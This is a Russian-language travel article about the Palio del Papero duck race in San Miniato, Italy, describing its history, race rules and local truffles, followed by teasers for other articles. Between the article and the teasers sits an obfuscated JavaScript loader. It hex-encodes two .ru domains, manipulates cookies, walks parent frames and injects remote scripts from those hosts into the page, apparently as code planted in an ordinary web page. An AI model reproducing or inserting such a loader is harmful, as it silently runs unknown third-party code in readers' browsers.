RU  UK  EN
Статьи  >  Представь  >  Palio del Papero: не только птицы

Palio del Papero: не только птицы

Сколько всего смешивает в своем котле Италия: гондолы, плавающие по оливковым рекам, палящее солнце, стекающее своим соком в бутылку Пизанской башни, запутанное спагетти улочек и лепешки площадей, присыпанные смесью итальянских трав и диалектов. А еще есть там… утки! Да-да, именно эти создания позволят вам ощутить привкус подлинного национального колорита.

И этой утиной истории уже более тридцати лет.  Она берет свое начало с 1982 года. Маленький итальянский городок Сан-Миниато, раскинувшийся на холме вблизи Балконевизи, был обычным фермерским поселком. Местных жителей всегда было немного. А в 50–60-х годах прошлого века, после военных действий и других проблем, в селении осталось всего несколько десятков семей.

Но в начале 80-х некоторые семьи стали возвращаться на родные земли. И чтобы как-то возродить край, они решили основать фестиваль, где собирались угощать грибами и белыми трюфелями, которыми славится эта местность. В 1982 году организаторы решили подогреть интерес к фестивалю, и традиционные трюфельно-грибные трапезы превратилась в гарнир к основному блюду. Ведь с тех пор самым зрелищным на празднике стало вовсе не поедание гастрономических деликатесов, а «утиные гонки».

Утиный фестиваль (Palio del Papero), который носит еще название Гонки Палио, традиционно проводится во вторую субботу октября. Это время, когда осень уже вступила в свои права, даря ласковое солнце, яркие краски и эмоции.

Чтобы побороться за главный приз, четыре близлежащие города: Формацино (Fornacino), Иль Борго (Il Borgo), Буччио (Buecchio) и Фондо ди Сцеса (Fondo di Scesa) – должны выставить своих марафонцев. Все участники выдвигают по паре уток-бегунов, которых именуют в честь родного города. Птицы должны преодолеть эстафету в 150 метров. При этом «наставники» пернатых должны поощрять их, чтобы привести к финишу раньше соперников и спасти от попадания в суп. Последнее, конечно, шутка. Отношение к уткам под особым контролем. Во время гонки птиц нельзя не только толкать, но и вообще касаться, подгонять разрешено только голосом. На фестиваль также приглашают инспекторов, которые проверяют условия содержания бегунов, процесс подготовки к гонкам и следят, чтобы тренеры «не распускали рук».

Зрители придумывают прогнозы, делают настоящие ставки и наблюдают, как конкуренты преодолевают дистанцию. Утки своим бегом вызывают настоящий азарт, ведь их поведение довольно непредсказуемо.

По окончанию гонки гости фотографируются с птицами-финалистами, спорят относительно участников и празднуют вместе с победителями.

А еще зрители становятся свидетелями исторического парада, изображающего события, которые происходили на землях Сан-Миниато. Это мероприятие восстанавливает в памяти жителей знаменательные даты и вехи, а туристы получают небольшой экскурс в прошлое города, узнавая новое и неизвестное. Людей увлекает история мест, подаривших Италии и всему миру таких выдающихся личностей, как: поэт Франко Сакетти, композитор Марио Масканьи, братья-кинорежиссеры Паоло и Витторио Тавиани и другие.

После спортивно-культурных зрелищ наступает время отведать традиционной итальянской кухни, дегустируя деликатесы. Белые трюфели, выращенные в окрестностях Сан-Миниато, славятся своими большими размерами и высоким качеством. Традиции выращивания, ухода и торговли белыми трюфелями уходят в средневековье. Поэтому местные знают толк и угощают вкусным, высококлассным продуктом.

Участие в утином фестивале непременно даст понять, пришелся ли вам впору итальянский башмачок.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16101",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("theoutlook.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Вам это будет интересно:
Ночь перед Рождеством и после
Рождество приходит, набрасывая теплый тулуп на плечи. Вечером оно приносит с собой мягкий свет первой вечерней звезды, а утром будит белым, но теплым солнцем. Если бы про ощущение Рождества кто-то спросил у бабки моей прабабки, то, думаю, ее слова были бы идентичны моим. Ибо вместе с мисочкой кутьи из рук в руки поколения передают и свои традиции.
Глинтвейн: согреваемся правильно
Витаминчики, закаливание, правильный режим дня... Это все конечно очень хорошо и полезно, особенно в зимние холода, да вот только иногда надо себя и побаловать и одновременно обезопасить от микробов и простуды. В такое время самым лучшим средством может стать глинтвейн.
СПЕЦПРОЕКТ: Про новогодние и рождественские традиции. Рассказывают Послы.
Во всем мире зима несет в жилища людей яркие праздники, рождаются традиции их проведения. Обычаи одного государства отличаются от другого, но люди из разных уголков планеты одинаково ждут чудес, приятных сюрпризов и доброй сказки. Накануне новогодних праздников мы решили спросить у дипломатов об особенностях празднования Нового года и Рождества в их странах.
Альберобелло: в мире труллей, вина и волшебства
Старая деревенька, которая когда-то располагалась на территории современного Альберобелло, была уничтожена и возведена заново не меньше сотни раз. И речь не о завоеваниях и налетах воинственных чужаков. Нет, ее намеренно разрушали сами обитатели. Как думаете, почему?
Ланкийские маски: проводники в царство духов
Традиционная резная маска – желанный сувенир для туриста, очарованного ярким тропическим колоритом чудесного острова Шри-Ланка. Расписные физиономии сказочных чудищ подкупают живостью и непосредственностью эмоций, которых так недостает в нашем рассудочном мире – и рука, повинуясь порыву, тянется к кошельку, хозяин лавки рассыпается в похвалах вашему вкусу…
Амазонки из племени мосо: заповедник феминизма в тени Гималаев
Сочинители антиутопий пророчат сотни бед людям будущего, которым то и дело запрещают играть свадьбы, но, похоже, не все так страшно. В китайской провинции Юньнань, у самого подножья Гималаев, обитает матриархальное племя мосо, которому понятие брака вовсе не знакомо. В их языке нет слов «муж» и «жена», зато нет и многих других, таких как «ревность», «война» и «измена», и на судьбу они не жалуются.
Наш первый юбилей: OUTLOOK WORLD CULTURE FESTIVAL 2018. Фоторепортаж. Часть 2
Культура каждого народа уникальна, исполнена традиций, обычаев, тайн, загадок, историй. Мы невероятно счастливы, что в рамках фестиваля культур народов мира OUTLOOK WORLD CULTURE FESTIVAL наша команда создает площадку для обмена самым интересным между различными странами и народами.
Наш первый юбилей: OUTLOOK WORLD CULTURE FESTIVAL 2018
Культура каждого народа уникальна, исполнена традиций, обычаев, тайн, загадок, историй. Мы невероятно счастливы, что в рамках фестиваля культур народов мира OUTLOOK WORLD CULTURE FESTIVAL наша команда создает площадку для обмена самым интересным между различными странами и народами.
В Киеве состоится пятый фестиваль культур народов мира OUTLOOK WORLD CULTURE FESTIVAL
27 октября с 13:00 до 17:00 в Национальном культурно-художественном комплексе «Мистецький Арсенал» (ул. Лаврская 10-12) пройдет пятый юбилейный фестиваль культур народов мира OUTLOOK WORLD CULTURE FESTIVAL, который представит в разных проявлениях культуру более 30 стран мира при участии посольств иностранных государств и диаспор. Фестиваль ежегодно организует проект OUTLOOK (theoutlook.com.ua), который работает в сфере медиа и культурной дипломатии. В этом году мероприятие пройдет при поддержке Украинского культурного фонда.
ВАШ ЗАВТРАК, СЭР! Или как начинают свой день в разных странах мира
Маленький тост, кусочек сыра и глоток крепкого кофе. «Это вам не шведский стол!» – возмущенно произнесет официант, глядя на недовольное лицо туриста. Щедрой украинской душе не понять, как таким умудряются наесться местные жители. Поэтому перед поездкой в новую страну нужно точно знать, где с вечера приготовить себе бутерброды на утро, а где стоит запастись и парой литров воды!
Азербайджан изнутри: большое и малое сватовство
Украинка с азербайджанской кровью Сабина Сафарова с трепетом относится к своим корням, является членом Союза азербайджанской молодёжи в Украине и популяризирует культуру этой страны. Сегодня рассказом девушки об одной из самых интересных традиций Азербайджана - сватовстве, мы запускаем ее авторский блог, который будет наполнен познавательными фактами и тонкостями нравов.
Что они едят: кухня Рима
Outlook часто рассказывает о кухнях народов мира, но, когда речь заходит об Италии, писать о стране в целом было бы преступлением. Каждый из ее двадцати регионов – это отдельный кулинарный мир со своими тонкостями и специалитетами. И пусть звание гастрономической столицы Италии носит Болонья, ее официальной столице Риму тоже есть чем похвастать.
ВИДЕО: Ремесла Узбекистана. Изделия из соломки
OUTLOOK посчастливилось побывать в гостеприимном Узбекистане и ближе познакомиться с ремеслами этой удивительной страны. Сегодня мы расскажем вам об искусстве изготовления изделий из соломки, о том, какие материалы использует мастер, в чем секреты и уникальные особенности этого ремесла. Чувствуйте мир с нами!
Африканские косички – красота, непокорность, любовь к свободе
Плетение косичек для африканцев – не только средство «себя показать». У этой традиции целая история: порой – славная, временами – драматичная. Знаменитые африканские косички, столь популярные в наши дни, родом из Египта, где это мастерство считалось сродни искусству делать обереги...
Продается всё: лучшие рынки планеты
Сейчас сложно удивить человека, в особенности городского, большим магазином либо рынком, поскольку даже в мини-маркете у дома можно купить все. Тем не менее, по всей планете продолжают работать базары, о которых веками слагают легенды и рассказывают с восхищением, понимая, что они – намного больше, чем просто место для сбыта товаров.
Пляжи и античность – римский пригород Остия
Полный красот и достопримечательностей Рим ежегодно привлекает более 30 миллионов туристов. Увидеть своими глазами Колизей, сунуть руку в Уста истины и кинуть монетку в Треви – мечта любого путешественника. Но мало кто знает, что всего в 30 километрах от столицы есть не менее привлекательная и пока еще не оккупированная туристами Остия...
Восточная музыка суфиев: Кавали
«Любовь возникает, когда ты смотришь в глаза другого человека и видишь в них Бога», - так переводятся строки одного из арабских песнопений, называемого Кавали. Их авторство приписывают восточным странникам суфиям, которые, стремясь найти смысл существования, босыми ногами исходили полземли. В путешествиях они слагали песни...
Кабуки: тернистый путь цветка
Традиционный японский театр кабуки всегда оставался загадкой для европейского менталитета: понять спектакль без подсказок гида может разве что только специалист по культуре Страны восходящего солнца. Слово «кабуки» в переводе значит «мастерство песни и танца». Почему не оперетта?
Ловля креветок в Оостдюнкерке: Да, я на коне!
Если в утреннюю пору прогуливаться по пляжам местности Оостдюнкерке, которая находится в одной из западных провинций Бельгии, то можно увидеть сразу несколько солнц. Одно, конечно, в небе, а другие – желтыми пятнами, верхом на конях, которые тянут на себе огромные плетеные корзины и медленно бредут по отмели Северного моря.
Не сломай язык: самые сложные наречия мира
Говорят, чем проще, тем лучше, но так ли это? Мы знаем, что не все народности исповедуют этот принцип. Outlook обнаружил самые странные, сложные и трудно произносимые языки мира и хочет поделиться этим с читателями.
Закрыть
Outlook facebook page